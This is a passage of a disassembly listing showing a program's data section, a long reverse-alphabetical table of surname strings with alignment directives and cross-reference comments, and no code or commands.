DATA XREF: ___:0042E164o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o align 10h aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o align 10h aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E14Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o aHand db 'Hand',0 ; DATA XREF: ___:0042E070o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E044o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E008o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF28o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o ; ___:0042DD4Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo ; ___:0042DC00o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DB94o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DAFCo align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o align 